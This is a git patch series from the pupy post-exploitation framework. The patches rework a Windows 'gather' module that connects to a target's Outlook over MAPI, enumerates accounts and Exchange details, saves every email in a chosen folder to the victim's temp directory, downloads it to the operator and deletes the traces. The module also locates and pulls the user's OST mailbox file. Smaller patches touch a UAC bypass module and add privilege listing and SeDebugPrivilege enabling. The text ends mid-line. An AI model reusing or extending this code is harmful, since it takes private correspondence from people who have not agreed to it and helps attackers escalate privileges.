From 78e90fac4ba2e35250941299939175c2f5963a5b Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 3 Oct 2016 09:35:04 -0400 Subject: [PATCH 1/7] Outlook module as a package (better performances) --- pupy/modules/outlook.py | 90 +++++++---- pupy/packages/windows/all/outlook.py | 221 +++++++++++++++++++++++++++ 2 files changed, 278 insertions(+), 33 deletions(-) create mode 100644 pupy/packages/windows/all/outlook.py diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index 23381341..e4c84c38 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -4,8 +4,8 @@ import os from pupylib.PupyModule import * -from rpyc.utils.classic import upload -from modules.lib.windows.outlook import outlook +from rpyc.utils.classic import download +from pupylib.utils.term import colorize __class_name__="Outlook" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @@ -15,6 +15,10 @@ class Outlook(PupyModule): ''' ''' dependencies=["win32api","win32com","pythoncom","winerror"] + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + def init_argparse(self): ''' ''' @@ -23,57 +27,77 @@ class Outlook(PupyModule): self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders") self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") - self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") + self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") - self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") + self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") - self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") + self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)") def run(self, args): ''' ''' - try: - self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI") - self.success("Outlook application seems to be installed on the target") - except Exception,e: - logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e))) + self.client.load_package("outlook") + localFolder=args.localOutputFolder + self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':',''))) + if not os.path.exists(self.localFolder): + logging.debug("Creating the {0} folder locally".format(self.localFolder)) + os.makedirs(self.localFolder) + if args.folderId != None: + self.warning('Notice the folder Id option will be used and the default folder option will be disabled') + outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) + if args.downloadOST == True: + self.success("Trying to download Outlook OST file of the targeted current user") + paths = outlook.getPathToOSTFiles() + if len(paths)>0: + localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum())) + self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath)) + download(self.client.conn, paths[0][1], localPath) + self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath)) + else: + self.error("OST file not found or an error occured") + if outlook.outlookIsInstalled() == True: + self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...") + if outlook.connect() == True: + self.success("Connected to outlook application trough MAPI") + else: + self.error("Impossible to connect to outlook application trough MAPI. Abording!") + return + else: self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!") return if args.information == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - info = outl.getInformation() + info = outlook.getInformation() for key, value in info.iteritems(): self.success("{0}: {1}".format(key, value)) - outl.close() - if args.folderId != None: - self.warning('Notice the folder Id option will be used and the default folder option will be disabled') if args.foldersAndSubFolders == True: self.success("Outlook folders and subfolders:") - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder]) - outl.printFoldersAndSubFolders() - outl.close() + foldersAndSubFolders = outlook.getAllFolders() + for i,folder in enumerate(foldersAndSubFolders): + print "{0}: {1}".format(i, folder.encode('utf-8')) + for j,subFolder in enumerate(foldersAndSubFolders[folder]): + print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) if args.numberOfEmails == True: self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId) - self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails())) - outl.close() + nb = outlook.getNbOfEmails() + self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb)) if args.downloadAllEmails == True: self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder)) - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType) - nb = outl.getNbOfEmails() + nb = outlook.getNbOfEmails() if nb == 0: self.error("This box is empty. You should choose another outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") - outl.downloadAllEmails() - outl.close() - if args.doawnloadOST == True: - outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False) - self.success("Trying to download Outlook OST file of the targeted current user") - path = outl.downloadOSTFile() - if path == None: - self.error("OST file not found or an error occured") - else: - self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder)) + logging.debug("Downloading all emails") + for i, anEmail in enumerate(outlook.getEmails()): + aPathToMailFile, filename = outlook.getAMailFile(anEmail) + sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green"))) + sys.stdout.flush() + localPathToFile = os.path.join(self.localFolder, filename) + logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile)) + download(self.client.conn, aPathToMailFile, localPathToFile) + logging.debug("Deleting {0}".format(aPathToMailFile)) + outlook.deleteTempMailFile(aPathToMailFile) + print "\n" + outlook.close() diff --git a/pupy/packages/windows/all/outlook.py b/pupy/packages/windows/all/outlook.py new file mode 100644 index 00000000..e9f862de --- /dev/null +++ b/pupy/packages/windows/all/outlook.py @@ -0,0 +1,221 @@ +# -*- coding: UTF8 -*- +#Author: @bobsecq +#Contributor(s): + +import os, logging, sys, time +from collections import OrderedDict +import win32com +import win32com.client +import glob + +class outlook(): + ''' + ''' + + OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} + OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} + OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'} + OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'} + + def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'): + ''' + ''' + self.outlook = None + self.mapi = None + self.foldersAndSubFolders = None + self.folderId = folderId + self.folderIndex = folderIndex + self.msgSaveType = msgSaveType + self.inbox = None + self.constants = None + self.sleepTime = sleepTime + self.remoteTempFolder = os.path.expandvars("%TEMP%") + + def outlookIsInstalled(self): + ''' + returns True if Outlook is installed + otherwise returns False + ''' + try: + win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI") + return True + except Exception,e: + return False + + + def connect(self): + ''' + Returns True if no error + Otherise returns False + ''' + try: + self.outlook = win32com.client.Dispatch("Outlook.Application") + #self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application") + self.mapi = self.outlook.GetNamespace("MAPI") + if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) + else : self.setFolderFromId(folderId=self.folderId) + return True + except Exception,e: + return False + + def close(self): + ''' + ''' + logging.debug("Closing Outlook link...") + self.outlook.Quit() + + def getInformation(self): + ''' + Returns Dictionnary + ''' + info = OrderedDict() + info['CurrentProfileName']=self.mapi.CurrentProfileName + #info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout + info['SessionType']=self.outlook.Session.Type + for i, anAccount in enumerate(self.outlook.Session.Accounts): + info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName + info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress + info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml + info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType] + #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout + info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox. + info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox. + info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server) + info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode] + self.mapi.SendAndReceive(True) + print repr(self.mapi) + return info + + + def __getOlDefaultFoldersNameFromIndex__(self, folderIndex): + ''' + Return None if folderIndex not found in OlDefaultFolders + Otherwise returns Name of the folder + ''' + found = False + for k in self.OL_DEFAULT_FOLDERS: + if self.OL_DEFAULT_FOLDERS[k] == folderIndex: + return k + return "" + + def setDefaultFolder(self, folderIndex=None): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderIndex == None: + folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox'] + folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex) + if folderName == None: + logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS)) + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderName)) + self.inbox = self.mapi.GetDefaultFolder(folderIndex) + return True + + def setFolderFromId(self, folderId): + ''' + See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex + Return True if done + Otherwise returns False + ''' + if folderId == None: + logging.error("Impossible to set Outlook folder to None") + return False + else: + logging.debug("Moving outlook default folder to {0}".format(folderId)) + self.inbox = self.mapi.GetFolderFromID(folderId) + return True + + def getEmails(self): + ''' + Returns a list which contains all mailitems + ''' + emails = [] + logging.debug("Getting {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + emails.append(anEmail) + return emails + + def getAMailFile(self, mailItem): + ''' + return pathToAMailFileOnTarget, nameOftheMailFile + ''' + ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", "" + try: + subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum()) + receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_') + except Exception,e: + logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e))) + filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') + path = os.path.join(self.remoteTempFolder,filename) + logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) + #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) + mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) + try: + os.rename(path, path) #test if the file is not opened by another process + except OSError as e: + time.sleep(self.sleepTime) + return path, filename + + + def deleteTempMailFile(self,path): + ''' + ''' + os.remove(path) + + """ + def getAllSubjects(self): + ''' + ''' + subjects = [] + logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails())) + for anEmail in self.inbox.Items: + subjects.append(anEmail.Subject) + return subjects + """ + + def getNbOfEmails(self): + ''' + ''' + #nc = self.inbox.Count + nb = len(self.inbox.Items) + logging.debug("Getting number of emails... {0} emails".format(nb)) + return nb + + def getAllFolders(self): + ''' + ''' + folders = {} + for inx, folder in enumerate(list(self.mapi.Folders)): + logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID)) + folders[folder.Name] = {} + if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder + for inx,subfolder in enumerate(list(folder.Folders)): + logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID)) + folders[folder.Name][subfolder.Name]=subfolder.EntryID + return folders + + + def getPathToOSTFiles(self): + ''' + According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc + ''' + paths = [] + DEFAULT_LOCATIONS_OST = [":\Users\\AppData\Local\Microsoft\Outlook", + ":\Documents and Settings\\Local Settings\Application Data\Microsoft\Outlook" + ] + systemDrive = os.getenv("SystemDrive") + login = os.getenv("username") + for aLocationOST in DEFAULT_LOCATIONS_OST : + completeLocationOST = aLocationOST.replace("",systemDrive[:-1]).replace("",login) + regex = os.path.join(completeLocationOST,"*.ost") + logging.debug('Searching OST file in {0}'.format(regex)) + files = glob.glob(regex) + for aFile in files: + ostFileFound = os.path.join(completeLocationOST,aFile) + logging.info('OST file found in {0}'.format(ostFileFound)) + paths.append([os.path.basename(aFile), ostFileFound]) + return paths From 6c0909ad4ad0316056ee762e3a4092409b1b8b7a Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 3 Oct 2016 10:06:26 -0400 Subject: [PATCH 2/7] Delete old outlook module file --- pupy/modules/lib/windows/outlook.py | 291 ---------------------------- 1 file changed, 291 deletions(-) delete mode 100644 pupy/modules/lib/windows/outlook.py diff --git a/pupy/modules/lib/windows/outlook.py b/pupy/modules/lib/windows/outlook.py deleted file mode 100644 index 720e0087..00000000 --- a/pupy/modules/lib/windows/outlook.py +++ /dev/null @@ -1,291 +0,0 @@ -# -*- coding: UTF8 -*- -#Author: @bobsecq -#Contributor(s): - -import os, logging, sys, time -from rpyc.utils.classic import download -from pupylib.utils.term import colorize -from collections import OrderedDict - -class outlook(): - ''' - ''' - - OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} - OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5} - OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'} - OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'} - - def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG', autoConnectToMAPI=True): - ''' - ''' - self.module = module - self.outlook = None - self.mapi = None - self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':',''))) - self.foldersAndSubFolders = None - self.folderId = folderId - self.folderIndex = folderIndex - self.msgSaveType = msgSaveType - self.inbox = None - self.constants = None - self.sleepTime = sleepTime - self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%") - if autoConnectToMAPI == True : self.__connect__() - if not os.path.exists(self.localFolder): - logging.debug("Creating the {0} folder locally".format(self.localFolder)) - os.makedirs(self.localFolder) - - def __connect__(self): - ''' - Returns True if no error - Otherise returns False - ''' - - self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application") - #self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application") - self.mapi = self.outlook.GetNamespace("MAPI") - if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex) - else : self.setFolderFromId(folderId=self.folderId) - return True - - def close(self): - ''' - ''' - logging.debug("Closing Outlook link...") - self.outlook.Quit() - - def getInformation(self): - ''' - Returns Dictionnary - ''' - info = OrderedDict() - info['CurrentProfileName']=self.mapi.CurrentProfileName - #info['CurrentUserAddress']=repr(self.mapi.CurrentUser) #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout - info['SessionType']=self.outlook.Session.Type - for i, anAccount in enumerate(self.outlook.Session.Accounts): - info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName - info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress - info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml - info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType] - #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout - info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox. - info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox. - info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server) - info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode] - self.mapi.SendAndReceive(True) - print repr(self.mapi) - return info - - - def __getOlDefaultFoldersNameFromIndex__(self, folderIndex): - ''' - Return None if folderIndex not found in OlDefaultFolders - Otherwise returns Name of the folder - ''' - found = False - for k in self.OL_DEFAULT_FOLDERS: - if self.OL_DEFAULT_FOLDERS[k] == folderIndex: - return k - return "" - - def setDefaultFolder(self, folderIndex=None): - ''' - See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex - Return True if done - Otherwise returns False - ''' - if folderIndex == None: - folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox'] - folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex) - if folderName == None: - logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS)) - return False - else: - logging.debug("Moving outlook default folder to {0}".format(folderName)) - self.inbox = self.mapi.GetDefaultFolder(folderIndex) - return True - - def setFolderFromId(self, folderId): - ''' - See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex - Return True if done - Otherwise returns False - ''' - if folderId == None: - logging.error("Impossible to set Outlook folder to None") - return False - else: - logging.debug("Moving outlook default folder to {0}".format(folderId)) - self.inbox = self.mapi.GetFolderFromID(folderId) - return True - - """ - def getAnEmail(self, nb): - ''' - nb: number of the email - nb>=1 - ''' - return self.inbox.Items[nb] - """ - - """ - def getEmailsWithSubject(self, subject): - ''' - Returns a list which contains all emails (mailItem objects) when subject is in the email subject - ''' - emails = [] - for anEmail in self.inbox.Items: - if subject in anEmail.Subject: - emails.append(anEmail) - return emails - """ - - def getEmails(self): - ''' - Returns a list which contains all mailitems - ''' - emails = [] - logging.debug("Getting {0} emails...".format(self.getNbOfEmails())) - for anEmail in self.inbox.Items: - emails.append(anEmail) - return emails - - def downloadAnEmail(self, mailItem): - ''' - ''' - ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", "" - try: - subjectCleaned = ''.join(l for l in mailItem.Subject.encode('ascii','ignore') if l.isalnum()) - receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\','').replace(':','-').replace(' ','_') - except Exception,e: - logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e))) - filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') - path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename) - logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) - #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) - mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) - try: - self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process - except OSError as e: - time.sleep(self.sleepTime) - logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder)) - download(self.module.client.conn, path, os.path.join(self.localFolder, filename)) - logging.debug("Deleting {0}".format(path)) - self.module.client.conn.modules.os.remove(path) - - def downloadAllEmails(self): - ''' - ''' - logging.debug("Downloading all emails") - for i, anEmail in enumerate(self.getEmails()): - self.downloadAnEmail(anEmail) - sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green"))) - sys.stdout.flush() - print "\n" - - """ - def getAllSubjects(self): - ''' - ''' - subjects = [] - logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails())) - for anEmail in self.inbox.Items: - subjects.append(anEmail.Subject) - return subjects - """ - - def getNbOfEmails(self): - ''' - ''' - #nc = self.inbox.Count - nb = len(self.inbox.Items) - logging.debug("Getting number of emails... {0} emails".format(nb)) - return nb - - def __getAllFolders__(self): - ''' - ''' - folders = {} - for inx, folder in enumerate(list(self.mapi.Folders)): - logging.debug("New folder: {0}({1})".format(folder.Name, folder.EntryID)) - folders[folder.Name] = {} - if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder - for inx,subfolder in enumerate(list(folder.Folders)): - logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID)) - folders[folder.Name][subfolder.Name]=subfolder.EntryID - return folders - - def printFoldersAndSubFolders(self): - ''' - ''' - foldersAndSubFolders = self.__getAllFolders__() - for i,folder in enumerate(foldersAndSubFolders): - print "{0}: {1}".format(i, folder.encode('utf-8')) - for j,subFolder in enumerate(foldersAndSubFolders[folder]): - print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')) - - - def getPathToOSTFiles(self): - ''' - According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc - ''' - paths = [] - DEFAULT_LOCATIONS_OST = [":\Users\\AppData\Local\Microsoft\Outlook", - ":\Documents and Settings\\Local Settings\Application Data\Microsoft\Outlook" - ] - systemDrive = self.module.client.conn.modules['os'].getenv("SystemDrive") - login = self.module.client.conn.modules['os'].getenv("username") - for aLocationOST in DEFAULT_LOCATIONS_OST : - completeLocationOST = aLocationOST.replace("",systemDrive[:-1]).replace("",login) - regex = self.module.client.conn.modules['os.path'].join(completeLocationOST,"*.ost") - logging.debug('Searching OST file in {0}'.format(regex)) - files = self.module.client.conn.modules['glob'].glob(regex) - for aFile in files: - ostFileFound = self.module.client.conn.modules['os.path'].join(completeLocationOST,aFile) - logging.info('OST file found in {0}'.format(ostFileFound)) - paths.append(ostFileFound) - return paths - - def downloadOSTFile(self): - ''' - Return file downloaded or None - ''' - paths = self.getPathToOSTFiles() - if len(paths)>0: - filename = self.module.client.conn.modules['os.path'].basename(paths[0]) - logging.debug("Downloading the file {0} to {1}".format(paths[0], self.localFolder)) - download(self.module.client.conn, paths[0], os.path.join(self.localFolder, filename)) - return paths[0] - else: - return None - - - """ - def __getRecipientsAddresses__(self, RecipientsObject): - ''' - ''' - recipients = [] - for aRecipient in RecipientsObject: - recipients.append(aRecipient.Address) - return recipients - - def __getSenderAddress__(self, mailItem): - ''' - ''' - if mailItem.SenderEmailType=='EX': - try: - return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress - except Exception,e: - logging.warning("Impossible to get sender email address: {0}".format(e)) - return mailItem.SenderEmailAddress - - def printMailItem(self, mailItem): - ''' - ''' - print "ReceivedTime: {0}".format(mailItem.ReceivedTime) - #print "Sender: {0}".format(self.__getSenderAddress__(mailItem)) - #print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients)) - print "Subject: {0}".format(repr(mailItem.Subject)) - print "Body: {0}".format(repr(mailItem.Body)) - """ From 5b7f696e04a3c2bf577cbe63b714bcfa9c892d5b Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 3 Oct 2016 10:13:39 -0400 Subject: [PATCH 3/7] Modify explanations about bypassUAC module --- pupy/modules/bypassuac.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/modules/bypassuac.py b/pupy/modules/bypassuac.py index 31dea825..cf9d5d06 100644 --- a/pupy/modules/bypassuac.py +++ b/pupy/modules/bypassuac.py @@ -12,7 +12,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @config(compat="windows", category="privesc") class BypassUAC(PupyModule): - """ try to bypass UAC with Invoke-BypassUAC.ps1, from Empire """ + """try to bypass UAC with sysprep or eventvwr method""" dependencies=["psutil", "pupwinutils.processes"] METHODS = ["eventvwr", "sysprep"] def init_argparse(self): From af67fc6f1b88d46e7e91e3bca5214530e22c7dcb Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 3 Oct 2016 11:39:31 -0400 Subject: [PATCH 4/7] Outlook module description modified --- pupy/modules/outlook.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index e4c84c38..4447745f 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -12,8 +12,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) @config(compat="windows", category="gather") class Outlook(PupyModule): - ''' - ''' + """ interact with Outlook session of the targeted user """ dependencies=["win32api","win32com","pythoncom","winerror"] OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8} From 6dd52fbbe7e622a811e7f871b499d13c3464389d Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Tue, 4 Oct 2016 08:38:44 -0400 Subject: [PATCH 5/7] New option for getting current process privileges --- pupy/modules/getprivs.py | 14 ++- .../windows/all/pupwinutils/security.py | 109 +++++++++++++++++- 2 files changed, 120 insertions(+), 3 deletions(-) diff --git a/pupy/modules/getprivs.py b/pupy/modules/getprivs.py index 04d4a7ef..7dd3f1ca 100644 --- a/pupy/modules/getprivs.py +++ b/pupy/modules/getprivs.py @@ -1,4 +1,7 @@ # -*- coding: UTF8 -*- +#Author: @n1nj4sec +#Contributor(s): @bobsecq + from pupylib.PupyModule import * __class_name__="GetPrivsModule" @@ -9,8 +12,15 @@ class GetPrivsModule(PupyModule): dependencies=["psutil", "pupwinutils.security"] def init_argparse(self): self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__) + self.arg_parser.add_argument('--get-debug', dest='getdebug', action='store_true', help="Try to get SeDebugPrivilege for the current process") def run(self, args): - self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege") - self.success("SeDebugPrivilege enabled !") + if args.getdebug == True: + self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege") + self.success("SeDebugPrivilege enabled !") + else: + privs = self.client.conn.modules["pupwinutils.security"].get_currents_privs() + self.success("Process privileges:") + for aPriv in privs: + print " - "+str(aPriv) diff --git a/pupy/packages/windows/all/pupwinutils/security.py b/pupy/packages/windows/all/pupwinutils/security.py index cb656ff6..25887734 100644 --- a/pupy/packages/windows/all/pupwinutils/security.py +++ b/pupy/packages/windows/all/pupwinutils/security.py @@ -1,8 +1,12 @@ -#original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py +# -*- coding: UTF8 -*- +#Author: ??? and original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py +#Contributor(s): @bobsecq + import sys, os from ctypes 